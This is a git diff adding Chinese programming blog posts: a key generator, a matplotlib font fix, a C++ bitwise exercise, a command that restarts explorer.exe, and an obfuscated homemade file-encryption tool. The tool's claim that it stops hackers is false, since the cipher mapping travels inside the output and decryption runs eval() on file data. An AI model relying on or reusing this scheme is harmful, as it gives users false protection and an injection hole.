+ + + +注:点击`Setting`下拉栏的第一个, +`常用设置`中上面的下拉框里选择界面语言,可以改成`简体中文`,这样方便我们编写代码。如果你想选择其他语言也可以,不影响运行。 + + + diff --git "a/\345\257\206\351\222\245\347\224\237\346\210\220\345\231\250.md" "b/\345\257\206\351\222\245\347\224\237\346\210\220\345\231\250.md" new file mode 100644 index 0000000..1b74a5a --- /dev/null +++ "b/\345\257\206\351\222\245\347\224\237\346\210\220\345\231\250.md" @@ -0,0 +1,33 @@ +```python +from random import sample +from os import system,name + +def main(): + try: + system('chcp 65001 >nul & title 密钥生成器 & color 0A') + random_string = '00112233445566778899abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' + passkey = [] + + print('您好,欢迎使用“密钥生成器”!\n') + numbers = int(input('请输入共需要几个密钥 >>> ')) + mark = input('请输入您的密钥间隔符号 >>> ') + letters = int(input('请输入您的密钥两个间隔之间的字符数量 >>> ')) + marks = int(input('请输入您的密钥共需要多少个分割块 >>> ')) + data = [] + + print('\n','-' * 45,'\n您的密钥生成结果是:\n') + for i in range(marks): + data.append(''.join(sample(random_string,letters))) + passkey.append(mark.join(data)) + data = [] + return passkey + except Exception as e: + print('遇到错误 >>>',e) + +if __name__ == '__main__' and name == 'nt': + for keys in main(): + print(keys) + input('\n\n请您复制后关闭此窗口!') +``` +如有建议,请在评论区提出! + diff --git "a/\345\257\271\344\272\216Matplotlib\346\227\240\346\263\225\350\257\206\345\210\253\346\261\211\350\257\255\347\232\204\350\247\243\345\206\263\346\226\271\346\263\225.md" "b/\345\257\271\344\272\216Matplotlib\346\227\240\346\263\225\350\257\206\345\210\253\346\261\211\350\257\255\347\232\204\350\247\243\345\206\263\346\226\271\346\263\225.md" new file mode 100644 index 0000000..3a3a77e --- /dev/null +++ "b/\345\257\271\344\272\216Matplotlib\346\227\240\346\263\225\350\257\206\345\210\253\346\261\211\350\257\255\347\232\204\350\247\243\345\206\263\346\226\271\346\263\225.md" @@ -0,0 +1,48 @@ +上次我们实现用英文制作了天气走势图,但是许多朋友都发现一个问题:它不能识别汉语,如果是汉语的内容,就会发生这样的事情: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201110205611284.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +上面的文字不会显示,而是小方块。下面我就来告诉大家遇到这种问题时的解决方法: + +我们使用`RC设置`(就是 `自定义设置`),插入这两行代码: + +```python +# 这是 Windows 版的 +plt.rcParams['font.sans-serif'] = 'SimHei' +plt.rcParams['axes.unicode_minus'] = False + +# 这是 Mac 版的 +plt.rcParams['font.sans-serif'] = 'Arial Unicode MS' +plt.rcParams['axes.unicode_minus'] = False +``` +我们再来看完整版: + +```python +#导入包和模块 +import matplotlib.pyplot as plt +#储存温度和日期 +datas = { + '1' : [22,25,19,18,25,27,20], + '2' : ['周日','周一','周二','周三','周四','周五','周六'] + } +#绘制出图形,大小是 (15,15) +plt.figure(figsize = (15,15)) +#绘制出图形 x轴 y轴 +plt.plot(datas['2'],datas['1']) +#设置x和y轴的文字颜色 +plt.xticks(size = 10,color = 'red') +plt.yticks(size = 10,color = 'blue') +#设置x轴和y轴的标签 +plt.xlabel('日期(天)',size = 12,color = 'black') +plt.ylabel('温度(℃)',size = 12,color = 'black') +#设置标题 +plt.title('未来天气温度走势图',size = 20,color = 'black') +#自定义设置 +plt.rcParams['font.sans-serif'] = 'SimHei' +plt.rcParams['axes.unicode_minus'] = False +#使用风格 bmh +plt.style.use('bmh') +#绘制出统计图 +plt.show() +``` +效果截图: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201110210247513.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) + diff --git "a/\345\277\253\351\200\237\346\270\205\347\220\206\346\255\243\345\234\250\350\277\220\350\241\214\347\232\204\350\275\257\344\273\266.md" "b/\345\277\253\351\200\237\346\270\205\347\220\206\346\255\243\345\234\250\350\277\220\350\241\214\347\232\204\350\275\257\344\273\266.md" new file mode 100644 index 0000000..50d27e2 --- /dev/null +++ "b/\345\277\253\351\200\237\346\270\205\347\220\206\346\255\243\345\234\250\350\277\220\350\241\214\347\232\204\350\275\257\344\273\266.md" @@ -0,0 +1,6 @@ +谨慎运行!会关闭正在运行的软件并重新进入桌面!不要在没保存文件时使用!使用不当,后果自负!在命令提示符里面运行! + +```powershell +taskkill /im explorer.exe /f /t & explorer & exit +``` + diff --git "a/\346\211\213\345\206\231C++\344\275\215\350\277\220\347\256\227\357\274\210\344\270\216\343\200\201\346\210\226\343\200\201\345\274\202\346\210\226\357\274\211.md" "b/\346\211\213\345\206\231C++\344\275\215\350\277\220\347\256\227\357\274\210\344\270\216\343\200\201\346\210\226\343\200\201\345\274\202\346\210\226\357\274\211.md" new file mode 100644 index 0000000..67f877e --- /dev/null +++ "b/\346\211\213\345\206\231C++\344\275\215\350\277\220\347\256\227\357\274\210\344\270\216\343\200\201\346\210\226\343\200\201\345\274\202\346\210\226\357\274\211.md" @@ -0,0 +1,80 @@ +大概是太闲得慌,练练手写了个这玩意儿。 +```cpp +// Author:PanDaoxi +#include +using namespace std; +// 十进制转二进制 +int a[10001],l; +void f(int n){ + if(n==0) return; + a[l++]=n%2; + f(n/2); +} +string tentotwo(int n){ + f(n); + string s=""; + for(int i=l-1;i>=0;i--){ + s+=a[i]+'0'; + } + memset(a,0,sizeof(a)); + l=0; + return s; +} +// 二进制转十进制 +int twototen(string s){ + int b[11]={},sum=0,k=0; + for(int i=0;i>a>>c>>b; + // 转换为二进制 + string s1,s2,result=""; + s1=tentotwo(a),s2=tentotwo(b); + // 补齐前导0 + int l1=s1.size(),l2=s2.size(); + while(min(l1,l2)=0;i--){ + // 同真则真 + result=((s1[i]=='1'&&s2[i]=='1')?"1":"0")+result; + } + } + // 按位或 + else if(c=='|'){ + for(int i=l1-1;i>=0;i--){ + // 一真则真 + result=((s1[i]=='1'||s2[i]=='1')?"1":"0")+result; + } + } + // 按位异或 + else if(c=='^'){ + for(int i=l1-1;i>=0;i--){ + // 不同为真 + result=((s1[i]!=s2[i])?"1":"0")+result; + } + } + else cout<<0; + // 再转换为10进制 + cout< 现在,互联网上的安全问题越来越严重。我们的文件虽然有杀毒软件保护,但光使用杀毒软件也不是完全安全的。于是,有了很多人选择了文件加解密工具,保护自己的文件。这样黑客即使拿到了文件,也无法破解掉文件的内容。 + +要想保护文件,使用公用的加密算法是不太安全的,所以我们要想更好地保护文件,需要制作一个加密算法。 + +完整代码(混淆版): + +```python +from tkinter import Tk #line:2 +from tkinter .filedialog import askopenfilename #line:3 +from easygui import buttonbox ,msgbox ,passwordbox #line:4 +from tkinter .messagebox import showinfo ,showwarning ,showerror #line:5 +from os import name ,environ #line:6 +from hashlib import md5 #line:7 +from random import shuffle #line:8 +from base64 import (a85encode ,a85decode ,b64encode ,b64decode ,b32encode ,b32decode ,b16encode ,b16decode ,)#line:18 +def shuffle_str (O0OOO0OO0OOOO0OO0 ):#line:21 + OOOOO0OO0OOOO0OOO =list (O0OOO0OO0OOOO0OO0 )#line:22 + shuffle (OOOOO0OO0OOOO0OOO )#line:23 + return "".join (OOOOO0OO0OOOO0OOO )#line:24 +def create_md5 (OO00O000000O0OO0O ):#line:27 + OOOO000O0OOO00O0O =md5 (OO00O000000O0OO0O .encode ()).hexdigest ()#line:28 + return OOOO000O0OOO00O0O #line:29 +dx1marks ={}#line:32 +dx1dict ="0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz`~@#$%^&*()_+{}|\/{}[]<>?:;\"'=+-.,! "#line:33 +title ="文件通文件加解密工具"#line:36 +ec ="UTF-8"#line:37 +button ="确定"#line:38 +userprofile =environ ["Userprofile"].replace ("\\","/")#line:39 +states ='RUNNING'#line:40 +hide =Tk ()#line:43 +hide .withdraw ()#line:44 +for i in range (0 ,len (dx1dict )):#line:47 + if i <=9 :#line:48 + dx1marks ["0"+str (i )]=dx1dict [i ]#line:49 + else :#line:50 + dx1marks [str (i )]=dx1dict [i ]#line:51 +class Dx1 :#line:54 + def __init__ (O0OOOO000OO00000O ):#line:56 + O0OOOO000OO00000O .content ="DaoXi 1.0/2.0 Encrypt Decrypt Algorithm Library"#line:57 + O0OOOO000OO00000O .interval_mark ="-"#line:58 + O0OOOO000OO00000O .ec ="UTF-8"#line:59 + O0OOOO000OO00000O .dx1dx1marks =dx1marks #line:60 + def encrypt (O00O0000OO0O0O0OO ):#line:62 + O0000000000OOO000 =a85encode (O00O0000OO0O0O0OO .content .encode (O00O0000OO0O0O0OO .ec )).decode (O00O0000OO0O0O0OO .ec )#line:63 + O000O0OO0OO0O00O0 =[]#line:64 + for OO00O00000OOOOO0O in O0000000000OOO000 :#line:65 + O000O0OO0OO0O00O0 .append (list (dx1marks .keys ())[list (dx1marks .values ()).index (OO00O00000OOOOO0O )])#line:66 + return ["OKAY",O00O0000OO0O0O0OO .interval_mark .join (O000O0OO0OO0O00O0 )]#line:67 + def decrypt (OOO0O0O0OO0OO0OO0 ):#line:69 + try :#line:70 + OO00OOOO000O0O0O0 =OOO0O0O0OO0OO0OO0 .content .split (OOO0O0O0OO0OO0OO0 .interval_mark )#line:71 + O00000OOOO000000O =[]#line:72 + for O0OO0O0O00O00OOO0 in OO00OOOO000O0O0O0 :#line:73 + O00000OOOO000000O .append (dx1marks [O0OO0O0O00O00OOO0 ])#line:74 + OOO00OOO0O0OOOOOO ="".join (O00000OOOO000000O )#line:75 + return ["OKAY",a85decode (OOO00OOO0O0OOOOOO .encode (OOO0O0O0OO0OO0OO0 .ec )).decode (OOO0O0O0OO0OO0OO0 .ec )]#line:76 + except Exception as OO0O0OOOO00O0OOO0 :#line:77 + return ["ERROR",OO0O0OOOO00O0OOO0 ]#line:78 +def dx1encrypt (O00O000OOO000OO0O ,interval ="-"):#line:81 + O0O0000OOOOO000OO =Dx1 ()#line:82 + O0O0000OOOOO000OO .content =O00O000OOO000OO0O #line:83 + O0O0000OOOOO000OO .interval_mark =interval #line:84 + O000OOOO0OOOO0O0O =O0O0000OOOOO000OO .encrypt ()#line:85 + if O000OOOO0OOOO0O0O [0 ]=="OKAY":#line:86 + return O000OOOO0OOOO0O0O [1 ]#line:87 + else :#line:88 + return "Error! "+O000OOOO0OOOO0O0O [1 ]#line:89 +def dx1decrypt (OOO0000OOOO000O0O ):#line:92 + O000O0OOO0O00O0O0 =Dx1 ()#line:93 + O000O0OOO0O00O0O0 .content =OOO0000OOOO000O0O #line:94 + O0OO0000OO0O00OO0 =O000O0OOO0O00O0O0 .decrypt ()#line:95 + if O0OO0000OO0O00OO0 [0 ]=="OKAY":#line:96 + return O0OO0000OO0O00OO0 [1 ]#line:97 + else :#line:98 + return "Error! "+str (O0OO0000OO0O00OO0 [1 ])#line:99 +class Dx2 :#line:102 + def __init__ (O000O0O0000OO000O ):#line:104 + O000O0O0000OO000O .content ="DaoXi 1.0/2.0 Encrypt Decrypt Algorithm Library"#line:105 + O000O0O0000OO000O .interval_mark ="-"#line:106 + O000O0O0000OO000O .password ="default"#line:107 + O000O0O0000OO000O .__OO00OOO00O00OO000 ={}#line:108 + O000O0O0000OO000O .__O00OOO00OO000000O ={}#line:109 + O000O0O0000OO000O .__O00O00OOO000000OO =shuffle_str (dx1dict )#line:110 + for O00OO00OOO0000O0O in range (0 ,len (O000O0O0000OO000O .__O00O00OOO000000OO )):#line:111 + if O00OO00OOO0000O0O <=9 :#line:112 + O000O0O0000OO000O .__OO00OOO00O00OO000 ["0"+str (O00OO00OOO0000O0O )]=O000O0O0000OO000O .__O00O00OOO000000OO [O00OO00OOO0000O0O ]#line:113 + else :#line:114 + O000O0O0000OO000O .__OO00OOO00O00OO000 [str (O00OO00OOO0000O0O )]=O000O0O0000OO000O .__O00O00OOO000000OO [O00OO00OOO0000O0O ]#line:115 + def encrypt (O0OO00OOOO0000O0O ):#line:117 + try :#line:118 + O0OOOOO000O00000O =O0OO00OOOO0000O0O .content #line:119 + OOOO000O0OOO00OO0 =b32encode (create_md5 (O0OO00OOOO0000O0O .password ).encode ()).decode ()#line:120 + OOO0OOOO0O0OOO00O =b32encode (b64encode (a85encode (str (O0OO00OOOO0000O0O .__OO00OOO00O00OO000 ).encode ()))).decode ()#line:121 + OOO00O0OOO00O0O00 =[]#line:123 + for O00OO0O0OO00O0000 in O0OOOOO000O00000O :#line:124 + OOO00O0OOO00O0O00 .append (list (O0OO00OOOO0000O0O .__OO00OOO00O00OO000 .keys ())[list (O0OO00OOOO0000O0O .__OO00OOO00O00OO000 .values ()).index (O00OO0O0OO00O0000 )])#line:127 + OOOO0OO000O000OO0 =O0OO00OOOO0000O0O .interval_mark .join (OOO00O0OOO00O0O00 )#line:128 + O0O00O0000OOOO0OO ="%s(dx2)%s(dx2)%s(dx2)"%(OOOO0OO000O000OO0 ,OOOO000O0OOO00OO0 ,OOO0OOOO0O0OOO00O )#line:130 + OO00O00O0000OOOO0 =dx1encrypt (O0O00O0000OOOO0OO )#line:131 + return ["OKAY",OO00O00O0000OOOO0 ]#line:132 + except Exception as OO0O00O00O0OOO000 :#line:133 + return ["ERROR",OO0O00O00O0OOO000 ]#line:134 + def decrypt (O00O0O0O0O00O00O0 ):#line:136 + try :#line:137 + OOO0OO0OO00OO00OO =dx1decrypt (O00O0O0O0O00O00O0 .content ).split ("(dx2)")#line:138 + OOO0OO0OO00OO00OO .pop (3 )#line:139 + O00OOO000OO0000OO =b32decode (OOO0OO0OO00OO00OO [1 ]).decode ()#line:141 + O00OOOO0O0000O00O =create_md5 (O00O0O0O0O00O00O0 .password )#line:142 + if O00OOO000OO0000OO ==O00OOOO0O0000O00O :#line:144 + O0OO0O000OO0O0OOO =a85decode (b64decode (b32decode (OOO0OO0OO00OO00OO [2 ]))).decode ()#line:145 + OO0000O00OOOOOO0O =eval (O0OO0O000OO0O0OOO )#line:146 + O00O0O0O0O00O00O0 .__O00OOO00OO000000O =OO0000O00OOOOOO0O #line:147 + O00O000O0OO0O0OO0 =[]#line:149 + OO000OO00OOOOO0O0 =OOO0OO0OO00OO00OO [0 ].split (O00O0O0O0O00O00O0 .interval_mark )#line:150 + for O0OOOOOO0O00OO00O in OO000OO00OOOOO0O0 :#line:151 + if OO0000O00OOOOOO0O [O0OOOOOO0O00OO00O ]:#line:152 + O00O000O0OO0O0OO0 .append (OO0000O00OOOOOO0O [O0OOOOOO0O00OO00O ])#line:153 + O0OO0OOO00O0O00O0 ="".join (O00O000O0OO0O0OO0 )#line:154 + return ["OKAY",O0OO0OOO00O0O00O0 ]#line:155 + else :#line:156 + return ["ERROR","The password is incorrect"]#line:157 + except Exception as O00O00O00OOO0O000 :#line:158 + return ["ERROR",O00O00O00OOO0O000 ]#line:159 +def dx2encrypt (OO00OOOOO0OOO00O0 ,O00O00O0O00O0O0O0 ):#line:162 + O00O000O00OO00OO0 =Dx2 ()#line:163 + O00O000O00OO00OO0 .content =OO00OOOOO0OOO00O0 #line:164 + O00O000O00OO00OO0 .password =O00O00O0O00O0O0O0 #line:165 + OO000O0O00OO0OOO0 =O00O000O00OO00OO0 .encrypt ()#line:166 + if OO000O0O00OO0OOO0 [0 ]=="OKAY":#line:167 + return OO000O0O00OO0OOO0 [1 ]#line:168 + else :#line:169 + return OO000O0O00OO0OOO0 [0 ]#line:170 +def dx2decrypt (OO000O0OOO0OO000O ,OOO00OO00O0O0000O ):#line:173 + OOOO00000O0OOO0O0 =Dx2 ()#line:174 + OOOO00000O0OOO0O0 .content =OO000O0OOO0OO000O #line:175 + OOOO00000O0OOO0O0 .password =OOO00OO00O0O0000O #line:176 + OOOO0O0O0O0O00OOO =OOOO00000O0OOO0O0 .decrypt ()#line:177 + if OOOO0O0O0O0O00OOO [0 ]=="OKAY":#line:178 + return OOOO0O0O0O0O00OOO #line:179 + else :#line:180 + return OOOO0O0O0O0O00OOO #line:181 +def encodef ():#line:184 + global states #line:186 + O0O000OOO0O0000OO =askopenfilename (title =title ,initialdir =userprofile ,filetypes =[("All Files","*.*")])#line:190 + with open (O0O000OOO0O0000OO ,"rb")as O0OO0O000000OOO0O :#line:192 + O0OOO0O000O000000 =O0OO0O000000OOO0O .read ()#line:193 + OO000OO0OO0OO00O0 =passwordbox ('请输入加密密码(请妥善保存):',title )#line:195 + OO0OO0OOOO0000O0O =dx2encrypt (b64encode (O0OOO0O000O000000 ).decode (),OO000OO0OO0OO00O0 ).encode ()#line:197 + O0000O0OOO0OOO0OO =O0O000OOO0O0000OO .split ("/")#line:199 + OO000OO0OO0OOOOO0 =O0000O0OOO0OOO0OO [len (O0000O0OOO0OOO0OO )-1 ]#line:200 + O0O00OO0OO0000OOO ="/".join (O0000O0OOO0OOO0OO ).replace (OO000OO0OO0OOOOO0 ,"(encode)"+OO000OO0OO0OOOOO0 )#line:201 + with open (O0O00OO0OO0000OOO ,"wb")as O0OOOOOOO0OOO0O00 :#line:203 + O0OOOOOOO0OOO0O00 .write (OO0OO0OOOO0000O0O )#line:204 + msgbox ("加密成功!",title ,button )#line:206 + states ='OVER'#line:207 +def decodef ():#line:210 + global states #line:212 + O000O0OOO0OO0OO0O =askopenfilename (title =title ,initialdir =userprofile ,filetypes =[("All Files","*.*")])#line:216 + OO0OOOOO0O0OO0OOO =passwordbox ('请输入加密密码以解密文件:',title )#line:218 + OOOOOO0OOOO0OOOO0 =False #line:220 + with open (O000O0OOO0OO0OO0O ,"r",encoding =ec )as O0OOOOO0O0O0O000O :#line:221 + O000OO0O0O0OO0OOO =dx2decrypt (O0OOOOO0O0O0O000O .read (),OO0OOOOO0O0OO0OOO )#line:222 + if not O000OO0O0O0OO0OOO [1 ]=='The password is incorrect':#line:223 + OO0OO0OO00O00OO00 =O000OO0O0O0OO0OOO [1 ].encode ()#line:224 + OO0OO0OO00O00OO00 =b64decode (OO0OO0OO00O00OO00 )#line:225 + OOOOOO0OOOO0OOOO0 =True #line:226 + else :#line:227 + showerror (title ,'密码有误!')#line:228 + OO0OO0OO00O00OO00 ='The password is incorrect'#line:229 + OOOO0OOOOO00OO0O0 =OO0OO0OO00O00OO00 #line:231 + OO0O00OO000OO000O =O000O0OOO0OO0OO0O .split ("/")#line:233 + O00OO00O00OO0000O =OO0O00OO000OO000O [len (OO0O00OO000OO000O )-1 ]#line:234 + O0OO0OOOO000000O0 ="/".join (OO0O00OO000OO000O ).replace (O00OO00O00OO0000O ,"(decode)"+O00OO00O00OO0000O )#line:235 + with open ("%s"%(O0OO0OOOO000000O0 ),"wb")as OOOO00OOO00O0OOO0 :#line:238 + OOOO00OOO00O0OOO0 .write (OOOO0OOOOO00OO0O0 )#line:239 + if OOOOOO0OOOO0OOOO0 ==True :#line:241 + msgbox ("解密成功!",title ,button )#line:242 + else :#line:243 + exit ()#line:244 + states ='OVER'#line:245 +def help ():#line:248 + O00OO000O0000OOOO ="""欢迎使用此软件,此软件可以加密或解密各种文件,以免被盗窃。 + 开发者:潘道熹 + 开发时间:2020年1月 + 联系邮箱:qingfengstudio@yeah.net + 客服QQ:3377063617 + 代码语言:Python 3.6 + + 如果您在使用中出现了问题,请联系客服解决。 + """#line:257 + msgbox (O00OO000O0000OOOO ,title ,button )#line:258 +try :#line:260 + while states =='RUNNING':#line:261 + if __name__ =="__main__"and name =="nt":#line:262 + choose =buttonbox ("欢迎使用%s!\n请选择您需要的服务:"%title ,title ,("加密文件","解密文件","关于我们"))#line:263 + if choose =="关于我们":#line:264 + help ()#line:265 + elif choose =="加密文件":#line:266 + encodef ()#line:267 + elif choose =="解密文件":#line:268 + decodef ()#line:269 + else :#line:270 + exit ()#line:271 + else :#line:272 + showerror (title ,"请使用Windows系统运行此程序!\n请自主运行此程序,不能使用模块进行导入。")#line:273 + exit ()#line:274 +except Exception as e :#line:275 + showwarning (title ,'错误:%s'%e )#line:276 +hide .mainloop () +``` + +# 二、思路 +## (1)加密算法的实现 +这个加密算法我已经实现出来了,名字叫做`Dx2`,在其之前有`Dx1`,但是并不安全,`Dx1`设计思路如下: + +①先生成一个**固定的**包含所有`ASCII`字符的字符串,后将其生成为映射字典。 +②读取文件内容,使用公用的加密算法(我使用了`ascii85`)加密,然后根据映射字典生成映射数字的序列,实现加密。一旦黑客得到映射字典,那就可以破解文件内容了。 +③创建一个新文件,将加密内容写入。 + +旧一代的加密算法如下(使用的是模块形式): + +```python +from base64 import a85encode,a85decode + +marks = {} +string = '0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz`~@#$%^&*()_+{}|\/{}[]<>?:;"\'=+-.,!' + +for i in range(0,len(string)): + if i <= 9: + marks['0' + str(i)] = string[i] + else: + marks[str(i)] = string[i] + +class __Daoxi(): + def __init__(self): + self.content = 'Daoxi Encode' + self.interval_mark = '-' + self.ec = 'UTF-8' + self.marks = marks + def encode(self): + try: + text = a85encode(self.content.encode(self.ec)).decode(self.ec) + letters = [] + for i in text: + letters.append(list(marks.keys())[list(marks.values()).index(i)]) + return ['OKAY',self.interval_mark.join(letters)] + except Exception as e: + return ['ERROR',e] + def decode(self): + try: + text = self.content.split(self.interval_mark) + letters = [] + + for i in text: + letters.append(marks[i]) + result = ''.join(letters) + return ['OKAY',a85decode(result.encode(self.ec)).decode(self.ec)] + except Exception as e: + return ['ERROR',e] + +daoxi = __Daoxi() + +``` +新一代解决了这个问题,实现了“一次一密”。包含内容: + +> dx1(文件内容)……+md5(密码)+dx1(str(映射字典)) + +综合版代码如下(混淆): +```python +from hashlib import md5 #line:2 +from random import shuffle #line:3 +from base64 import (a85encode ,a85decode ,b64encode ,b64decode ,b32encode ,b32decode ,b16encode ,b16decode ,)#line:13 +def shuffle_str (O0OO00O00OOOOOOO0 ):#line:16 + OOOOOO00O00O000O0 =list (O0OO00O00OOOOOOO0 )#line:17 + shuffle (OOOOOO00O00O000O0 )#line:18 + return "".join (OOOOOO00O00O000O0 )#line:19 +def create_md5 (OOOOOOOOOO0OOOOO0 ):#line:22 + O0OOO0OO0000OOO0O =md5 (OOOOOOOOOO0OOOOO0 .encode ()).hexdigest ()#line:23 + return O0OOO0OO0000OOO0O #line:24 +dx1marks ={}#line:28 +dx1dict ="0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz`~@#$%^&*()_+{}|\/{}[]<>?:;\"'=+-.,!"#line:29 +for i in range (0 ,len (dx1dict )):#line:31 + if i <=9 :#line:32 + dx1marks ["0"+str (i )]=dx1dict [i ]#line:33 + else :#line:34 + dx1marks [str (i )]=dx1dict [i ]#line:35 +class Dx1 :#line:38 + def __init__ (OO0000O0000O0O0OO ):#line:39 + OO0000O0000O0O0OO .content ="DaoXi 1.0/2.0 Encrypt Decrypt Algorithm Library"#line:40 + OO0000O0000O0O0OO .interval_mark ="-"#line:41 + OO0000O0000O0O0OO .ec ="UTF-8"#line:42 + OO0000O0000O0O0OO .dx1dx1marks =dx1marks #line:43 + def encrypt (OO00O0000O000000O ):#line:45 + O0OO00OO0000O0OO0 =a85encode (OO00O0000O000000O .content .encode (OO00O0000O000000O .ec )).decode (OO00O0000O000000O .ec )#line:46 + O00OOOOOO0OOOOOOO =[]#line:47 + for O0OOOOOO00O0OO000 in O0OO00OO0000O0OO0 :#line:48 + O00OOOOOO0OOOOOOO .append (list (dx1marks .keys ())[list (dx1marks .values ()).index (O0OOOOOO00O0OO000 )])#line:49 + return ["OKAY",OO00O0000O000000O .interval_mark .join (O00OOOOOO0OOOOOOO )]#line:50 + def decrypt (OO0O000O0O0O0O00O ):#line:52 + try :#line:53 + O00OOOO00OO0000OO =OO0O000O0O0O0O00O .content .split (OO0O000O0O0O0O00O .interval_mark )#line:54 + O000OO0O0000000OO =[]#line:55 + for O000O0OOO00OOO000 in O00OOOO00OO0000OO :#line:57 + O000OO0O0000000OO .append (dx1marks [O000O0OOO00OOO000 ])#line:58 + OO00000OOO00OO0O0 ="".join (O000OO0O0000000OO )#line:59 + return ["OKAY",a85decode (OO00000OOO00OO0O0 .encode (OO0O000O0O0O0O00O .ec )).decode (OO0O000O0O0O0O00O .ec )]#line:60 + except Exception as O0O0000O000000OO0 :#line:61 + return ["ERROR",O0O0000O000000OO0 ]#line:62 +def dx1encrypt (O0O00O0O00O000O00 ,interval ="-"):#line:65 + O00OOO0O0OOO000OO =Dx1 ()#line:66 + O00OOO0O0OOO000OO .content =O0O00O0O00O000O00 #line:67 + O00OOO0O0OOO000OO .interval_mark =interval #line:68 + O00OO0OO000O0OOOO =O00OOO0O0OOO000OO .encrypt ()#line:69 + if O00OO0OO000O0OOOO [0 ]=="OKAY":#line:70 + return O00OO0OO000O0OOOO [1 ]#line:71 + else :#line:72 + return "Error! "+O00OO0OO000O0OOOO [1 ]#line:73 +def dx1decrypt (OO0000OO0O00O0O00 ):#line:76 + O0O00OOOOO00OOOO0 =Dx1 ()#line:77 + O0O00OOOOO00OOOO0 .content =OO0000OO0O00O0O00 #line:78 + O00OO000O00O0OOOO =O0O00OOOOO00OOOO0 .decrypt ()#line:79 + if O00OO000O00O0OOOO [0 ]=="OKAY":#line:80 + return O00OO000O00O0OOOO [1 ]#line:81 + else :#line:82 + return "Error! "+str (O00OO000O00O0OOOO [1 ])#line:83 +class Dx2 :#line:87 + def __init__ (O00O0O000O0OOO0O0 ):#line:88 + O00O0O000O0OOO0O0 .content ="DaoXi 1.0/2.0 Encrypt Decrypt Algorithm Library"#line:89 + O00O0O000O0OOO0O0 .interval_mark ="-"#line:90 + O00O0O000O0OOO0O0 .password ="default"#line:91 + O00O0O000O0OOO0O0 .__O0OOOO0OO00O0OO0O ={}#line:92 + O00O0O000O0OOO0O0 .__O000OO0OO00OOOO00 ={}#line:93 + O00O0O000O0OOO0O0 .__OO0O0O0O0OOO00O00 =shuffle_str (dx1dict )#line:94 + for OO00OO000000O00OO in range (0 ,len (O00O0O000O0OOO0O0 .__OO0O0O0O0OOO00O00 )):#line:96 + if OO00OO000000O00OO <=9 :#line:97 + O00O0O000O0OOO0O0 .__O0OOOO0OO00O0OO0O ["0"+str (OO00OO000000O00OO )]=O00O0O000O0OOO0O0 .__OO0O0O0O0OOO00O00 [OO00OO000000O00OO ]#line:98 + else :#line:99 + O00O0O000O0OOO0O0 .__O0OOOO0OO00O0OO0O [str (OO00OO000000O00OO )]=O00O0O000O0OOO0O0 .__OO0O0O0O0OOO00O00 [OO00OO000000O00OO ]#line:100 + def encrypt (OOOO000OOOOO000O0 ):#line:102 + try :#line:103 + OO0OOOOOO00O000O0 =OOOO000OOOOO000O0 .content #line:104 + O0OO0O0000O0OO000 =b32encode (create_md5 (OOOO000OOOOO000O0 .password ).encode ()).decode ()#line:105 + O00OOOOOO000O0OOO =b32encode (b64encode (a85encode (str (OOOO000OOOOO000O0 .__O0OOOO0OO00O0OO0O ).encode ()))).decode ()#line:106 + O0OO0O0O0OO00000O =[]#line:108 + for O0O00OO00OO0O000O in OO0OOOOOO00O000O0 :#line:109 + O0OO0O0O0OO00000O .append (list (OOOO000OOOOO000O0 .__O0OOOO0OO00O0OO0O .keys ())[list (OOOO000OOOOO000O0 .__O0OOOO0OO00O0OO0O .values ()).index (O0O00OO00OO0O000O )])#line:112 + O0000OOO0O0O000OO =OOOO000OOOOO000O0 .interval_mark .join (O0OO0O0O0OO00000O )#line:113 + O0OO000O00OOO000O ="%s(dx2)%s(dx2)%s(dx2)"%(O0000OOO0O0O000OO ,O0OO0O0000O0OO000 ,O00OOOOOO000O0OOO )#line:115 + O000O00OO00O0OOOO =dx1encrypt (O0OO000O00OOO000O )#line:116 + return ["OKAY",O000O00OO00O0OOOO ]#line:117 + except Exception as O0O00O00O000OO00O :#line:118 + return ["ERROR",O0O00O00O000OO00O ]#line:119 + def decrypt (O0OO0OO0OO0O00O00 ):#line:121 + try :#line:122 + OOOOO0OOO0OO00OOO =dx1decrypt (O0OO0OO0OO0O00O00 .content ).split ("(dx2)")#line:123 + OOOOO0OOO0OO00OOO .pop (3 )#line:124 + O0O00OOOOOOOO000O =b32decode (OOOOO0OOO0OO00OOO [1 ]).decode ()#line:126 + OO0O0000O00O0OO0O =create_md5 (O0OO0OO0OO0O00O00 .password )#line:127 + if O0O00OOOOOOOO000O ==OO0O0000O00O0OO0O :#line:129 + O0OO000OOO00OO00O =a85decode (b64decode (b32decode (OOOOO0OOO0OO00OOO [2 ]))).decode ()#line:130 + OO0000O0OO00OOOO0 =eval (O0OO000OOO00OO00O )#line:131 + O0OO0OO0OO0O00O00 .__O000OO0OO00OOOO00 =OO0000O0OO00OOOO0 #line:132 + O00O000OO00O0O0OO =[]#line:134 + OO00OO00OOO00O00O =OOOOO0OOO0OO00OOO [0 ].split (O0OO0OO0OO0O00O00 .interval_mark )#line:135 + for OO0O0OO0OO0000OOO in OO00OO00OOO00O00O :#line:136 + if OO0000O0OO00OOOO0 [OO0O0OO0OO0000OOO ]:#line:137 + O00O000OO00O0O0OO .append (OO0000O0OO00OOOO0 [OO0O0OO0OO0000OOO ])#line:138 + O0O000OO0O0O0OOOO ="".join (O00O000OO00O0O0OO )#line:139 + return ["OKAY",O0O000OO0O0O0OOOO ]#line:140 + else :#line:141 + return ["ERROR","The password is incorrect"]#line:142 + except Exception as OOOO0OOOOOO0000OO :#line:143 + return ["ERROR",OOOO0OOOOOO0000OO ]#line:144 +def dx2encrypt (O00OOOO00000OO00O 